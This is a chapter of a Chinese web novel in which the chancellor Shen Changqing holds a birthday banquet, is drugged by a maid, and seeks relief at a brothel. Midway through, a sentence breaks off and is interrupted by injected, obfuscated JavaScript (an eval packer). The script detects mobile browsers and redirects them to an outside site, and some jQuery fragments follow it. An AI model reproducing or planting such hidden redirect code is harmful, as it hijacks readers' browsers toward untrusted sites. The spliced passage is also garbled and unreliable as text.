七日后,沈府大办。
一大早,府中便热闹至极,来来往往都是布置庭院的下人。沈长卿支开点窗户,懒散地倚在软榻上打着哈欠。
“主子,人已经安排好了。”季寻进门,顺势给沈长卿换了个汤婆子。
“派人盯着点这宴上吃食,免得有哪个不长眼的人,坏了我这场好戏。”沈长卿捻了块糕点,轻咬一口。
“是。”
窗外阳光明媚,气温也难得回暖。沈长卿下榻合上窗,她心情颇好,难得驻足于衣柜前挑选衣衫。良久,才换上一袭月白锦袍,裹上的裘衣遮不住衣襟绣着的银丝流云纹。
她出门,腰间的悬白玉螭龙佩泛着温润光泽,步履间广袖如云,引得一众下人议论纷纷。
“感觉大公子今日甚是好看,妥妥的贵公子模样。”
“那是,大公子可是名震京城的才子,论样貌也是数一数二。除了那江公子,谁能与我们大公子一争高下……”
负责洒扫的小厮还未说完,一旁丫鬟便扯了扯他的衣袖,示意他闭嘴。“你不要命了,这江公子可是一贯与我们大公子不对付,如今下了诏狱,更是不能提他,小心掉了脑袋。”
小厮一拍脑袋,心虚地瞧了瞧四周:“还是玉盏心细,多亏有你了。”
聚在一起聊天的下人一哄而散,沈长卿站在墙后面,听了才没两句便自觉无趣,一路跟逛街一样走进前厅。
“父亲。”沈长安看见沈长卿就烦,瞧见她便免不了一顿奚落,“今个儿是你过生辰,来的晚便算了,还这般不成器,以前的礼仪算是白教你了。”
“还不如源儿会体恤我这个父亲。”沈长安长袖一甩,去了主院。
沈长卿听着也不恼,依旧气定神闲地说道:“父亲教训的是。”
“欸,沈大人,”李明泽突然出现,笑着快步向沈长卿走来,“既遇见,下官便在这里祝贺沈大人生辰快乐。此外沈大人近日升官丞相,恭喜恭喜啊。”
“李大人客气了,”沈长卿点头一笑,“今日这府上宴席,可要吃好啊。”
“自是。”李明泽客套地说。
“呦,这不是沈大人吗。今日家中小猫粘本世子粘得紧,带来你这宴席凑凑热闹,不打紧的吧?”
嚣张浪荡的声音自门口传来,沈长卿转头,便看见谢宜苏抱着怀中的猫,摸着它的脑袋有一搭没一搭的走过来。
“谢小世子。”
“自是不打紧。”沈长卿拢了拢裘衣,拿眼睛又笑又柔地瞧着他,“谢小世子想干什么,都没人会拦着你。”
“宴会要开始了,还请二位移步院中,跟我来。”
谢宜苏笑容一僵,太阳穴突突地跳。他带猫来,本意是想折辱沈长卿,可谁知这一拳打在棉花上,闹得不痛不痒。
“世子,我们该走了。”逐玉眼观鼻鼻观心,还是小声地提醒了一句。
谢宜苏咬着后槽牙,怀中的猫随手丢给逐玉,三步并作两步地走:“知道了,好好抱着这畜牲,可别坏了事。”
院中宴席未开,却热闹至极,来的官员都有所图,各自交好。来晚一步的沈长卿熟视无睹,自顾自地坐到自己的位子上。
期间有人来向她道贺,她也只是客气地回个话又独自一人呆着。
“欢迎各位今日赏脸,都来参加沈某的生辰宴。今日各位吃好喝好,玩得尽兴。这第一杯酒,沈某干了!”
眼瞧着时候差不多了,沈长卿开口。在诸位宦官女眷看过来之际,她举起酒杯,一饮而尽。
“这是自然,赵某也敬沈大人一杯,祝沈大人生辰快乐,得偿所愿。”
“刘某也敬一杯,祝沈大人生辰快乐。”
“祝沈大人平安喜乐。”
“……”
恭喜道贺之声不绝入耳。“舞起!”沈长卿拍拍手,一大群歌姬涌入其中,伴随余音绕梁,舞动起来。
沈长卿喝了一口酒,就近夹了一点吃食,便不再动筷。
季寻穿过人群走到她身边,俯下身轻声说:“主子,姚公子已经去了。”
“嗯,盯好他们,别出了什么差池。”沈长卿借着喝酒的动作,薄唇轻启。
“是。”
待季寻一走,沈长卿身边又空着了。眼瞧着沈长卿的酒杯空了,彩云看准时机,立马上前替她斟了一杯温酒。
“大公子请慢用,有事还请唤奴婢,奴婢就在这里。”
沈长卿斜睨了她一眼,声音古井无波:“你不在后院伺候,来这做甚?”
“府上人手不够,老爷叫奴婢们来前院帮忙。”彩云低垂着头,顿了顿才继续说道,“奴婢看季管事不在,大公子身边又缺个人伺候。与其用别人,倒不如用奴婢用得放心。”
“你倒是有眼力见。”沈长卿垂下眼睑,玩着自己手上的玉扳指,“别整些有的没的,否则,你知道结果。”
“是,奴婢知道了。”彩云顺从地退到她身后,安安静静地候着。
沈长卿不善交际,更不喜欢这种宴会。可如今她是这宴会主人,逃不得藏不掉,只能硬生生地与那些前来道贺试探的人周旋,一杯接一杯地喝着酒。
“沈大人,”薛公公的嗓音穿透力极强,只一声便吸引了所有人的注意,“咱家替陛下来祝贺沈大人生辰快乐,祝您得偿所愿,百岁无忧。”
薛公公笑着,将小厮托着的令牌递给沈长卿:“这是御赐的令牌。陛下说了,沈大人可凭此令牌,于各个城镇间畅行无阻,每月也可取白银一百两供吃住,终身有效。”
沈长卿跪着,闻言眼里闪过错愕。她本以为陛下不会放她走,可没想到如今她却借生辰赐下令牌,算是还了她一半的愿。
“沈大人怎的还愣神了,”薛公公一笑,“还不快谢过陛下。”
“臣,谢过陛下,谢过薛公公。”沈长卿收好令牌,借着椅子起身,偷偷将一袋银子塞进薛公公的手中。
“咱家可使不得。”
薛公公的手微微颤抖,作势要塞回去。沈长卿摇头,默默地推回去,“天气寒冷,公公来一趟不容易,辛苦了,这点不算什么,拿着便好。”
“也罢,既如此,咱家便先回去复命了。”
“恭送公公。”
待沈长卿送走薛公公,宴会又一片热闹,一直到傍晚才堪堪结束。
沈长安早就不见了,沈长卿寻了一圈,没看到便也酿酿跄跄地走回自己的院子。
彩云不知何时跟了上来,端着醒酒汤一同进到沈长卿的屋子。
“大公子喝多了,前几日又感了风寒,还是喝点醒酒汤,免得明日头疼。”
彩云端着汤,靠近了些许。沈长卿坐在榻上,接过碗时闻到一股腻人的香气。她皱着眉摇了摇头,只觉得自己拿碗的手卸了些许力道,身子更绵软了些。
“你对我做了什么!?”沈长卿虽喝了不少酒,但脑子还清醒着,她猛地推开彩云,将碗砸落在地。
醒酒汤洒在地上。
面对沈长卿的质问,彩云非但没离开,反而更加凑近了些,伸手想要解开他的衣衫。
“大公子只是喝多了酒,不胜酒力罢了,奴婢为大公子更衣。”
沈长卿只觉得脑子很是亢奋,那种感觉像是要将她炸掉。她喘着粗气,眼角熬得通红,面对彩云有意无意的撩拨简直如同一把燎原的火种,彻底烧干了她喉咙里的最后一点水分。
“你对我,下药!”
沈长卿几乎是吼出来。
彩云跟着她十多年,虽说平日里不安分,可到底没有多少出格,可如今她对自己下了药,这样的背叛使沈长卿更加痛苦。她用尽最后一丝力气,将彩云推倒在地,案几上的东西也因沈长卿脱力率摔落在地。
屋内的声响很大,回来复命的季寻听出了不对劲,立刻赶进屋内。“主子!”
季寻扶起沈长卿,焦急地说道:“主子,主子你怎么样啊?我去请韩大夫过来,他肯定有办法。”
季寻的手冰凉,沈长卿此刻神志不太清楚,下意识地靠过去。但又在看清是谁之后硬生生地拖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423112|184814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着自己远离,靠在案几上。
“将她抓了,严刑拷打,问出幕后主使是谁。”沈长卿缓了好一会,才继续说,“替我将韩大夫请来。”
季寻伸出食指和拇指,轻轻弯曲,形成一个环状,将嘴唇轻轻贴在指环上,微微用力,吹出一串清脆的哨音。下一秒,两个身着黑衣的死士出现在他面前,带走了在地上装死的彩云。
季寻将沈长卿扶到床上:“主子你在坚持一会,我立刻去请韩大夫过来。”
沈长卿点头,额上青筋暴起,没一会就浑身湿透,宛若刚从水里捞出来的。她的手颤颤巍巍的,握不住身上裘衣的绳索,脱了好半天也没脱下来。
“该死……哈哈……”
沈长卿的眼彻底红了。等季寻带着沈长卿韩大夫回来,便看到地上凌乱的被褥。
“哎呦,大公子这是怎么了!?”韩大夫背着药箱小跑坐到床边,面对一直打滚撞墙的沈长卿无从下手,“季寻,还不来扶好你家大公子。”
“公子!公子!”
“离我远点!离我远点!”季寻双手用力,费了好大劲才将沈长卿禁锢住,让韩大夫得以问诊,“韩大夫,我家公子如何了?”
“别急,别急,”韩大夫蹙着眉,手一搭在脉上就知症结所在,“大公子这怕是被人下了药……”
“可有法子可以解!”季寻看着沈长卿红肿的额头,面上满是焦急和心疼。
“这用量是往死了下,老夫也只可疏解一二,剩下的怕是……要找个人来帮大公子。”
韩大夫点燃烛火,烧红银针在沈长卿的关键穴位施了几针。
沈长卿渐渐平静下来。
季寻见状,松开喂了杯水给她:“主子有没有感觉好些?”
“带我去……迎春楼。”一杯水下肚,沈长卿这才觉得身上没那么热,她靠在墙上,哑然开口。
“好。”季寻应下,“劳烦韩大夫照看一下我家公子,我先去备马车。”
“你去吧,这针压不了多久,你可要快写。”韩大夫点头,从怀里拿出手帕,轻轻擦去沈长卿额上的汗。
“大公子可记得,自己是如何中招的?”韩大夫又给沈长卿喂了杯水。
“我喝了些酒,本不至于如此。是回来闻到了彩云身上香囊的味道,这才……”沈长卿咳了两声,说话断断续续的,声音也不大。
韩大夫蹙着眉,思考的时候下意思捋着胡须,“按道理只凭香囊不会如此严重,想来是辅佐了吃食,下足了计量,吃一点都会要命。”
“主子!马车备好了。”季寻扶沈长卿起来,细心替她裹好裘衣,“还劳烦韩大夫跟我们走一趟。”
“这是自然。”
马车急急驶离沈府,躲在廊中黑暗处的赵静杰目送他们离开,这才偷偷摸摸跑去书房报信。
“老爷,老爷!他们出府了!”
“慌慌张张的像什么样子,可有找到彩云?”赵静杰面色为难,声音都小了不少,“没有找到。”
“不过大公子房里一片狼藉,想来是中药的了。”
“继续跟着。”
马车一路疾驰,不消一会儿就到了迎春楼。季寻扶着沈长卿下了马车,和韩大夫一同进去了。
迎春楼是全京城最大的销金窟,多的是宦官百姓来此寻欢作乐。沈长卿三人一进去,作为管事的六娘便扭着腰迎了上来。
“哎呦,这不是丞相沈大人么,您可是从来不来小店,今日怎的来了?是看中店中某位姑娘了?”六娘捏着手帕娇笑着,看着沈长卿的眼神如狼似虎,像是要生吞活剥了一般。
“替本相开一间房。”沈长卿脸上盖了粉,只余下嘴唇尚还有些白。
“六娘这就要店中的魁首前来伺候!”六娘一听要开房,立马选了最贵的一间,引着他们过去。
“不,”沈长卿撑了这么久,身子没了力气,基本上是借着季寻的力才走的平稳,没叫六娘看出异端。“给本相上个小倌。”
“要最好的,立刻,马上。”